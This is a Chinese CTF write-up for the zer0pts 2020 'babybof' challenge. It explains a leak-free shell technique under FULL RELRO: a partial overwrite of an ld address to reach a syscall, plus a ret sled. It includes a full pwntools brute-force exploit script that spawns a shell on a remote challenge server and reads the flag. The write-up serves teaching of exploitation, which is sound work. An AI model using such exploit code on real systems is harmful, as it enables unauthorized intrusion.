首先,检查一下程序的保护机制
然后,我们在IDA里分析一下,是一个极其简单的程序,存在栈溢出
但是程序里没有函数用于泄露,并且FULL RELRO,不能使用ret2dl。
但是可以覆盖bss上stderr的指针为one_gadget,然后call,但是这个概率极其低
介绍一种FULL RELRO清空下无泄漏,且概率在1/16左右的getshell新方法。
我们看到,在栈底部某处,有一个ld的地址,我们可以低字节覆盖其后两字节,则有1/16的几率正好到ld里某处syscall的位置。因此,我们在前面通过rop,设置好寄存器的值后,剩下部分使用ret填充一直到此处,然后再覆盖低2个字节,这样,程序通过前面的ret,一直滑行,最终到达此处,调用syscall从而getshell。
在这里,通过调用setbuf函数,可以使得rdx寄存器指向一片空数据的区域,这样可以满足execve系统调用的第三个参数的要求,然后第1、第2个参数我们可以用gadget控制。
然后,还有一个地方需要爆破,该ld的地址与栈溢出的起始点之间的偏移,在不同机器上可能不同,也就是远程和本地,其距离可能不同。因此,我们还需要爆破它们之间的距离。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
context.log_level = 'debug'
elf = ELF('./zer0pts_2020_babybof') libc = ELF('./libc-2.23.so') read_plt = elf.plt['read'] read_got = elf.got['read'] pop_rdi = 0x000000000040049c pop_rsi = 0x000000000040049e pop_rbp = 0x000000000040047c leave_ret = 0x0000000000400499 fun_addr = 0x000000000040047E bss = 0x0000000000601100 steup = 0x000000000040043F ret = 0x000000000040047D
for i in range(12,20): for j in range(100): try: payload = 'a'*0x28 + p64(steup) payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(read_plt) payload += p64(pop_rdi) + p64(bss) payload += p64(pop_rsi) + p64(0) payload += p64(ret)*i payload += p16(0x4BD3)
global sh sh = remote('node3.buuoj.cn',26780) sh.send(payload) sleep(1) sh.send('/bin/sh'.ljust(0x3B,'\x00')) sleep(1) sh.sendline('cat /flag') if 'timeout' in sh.recv(): raise Exception('retry')
sh.interactive() except: sh.close() print 'trying...'
|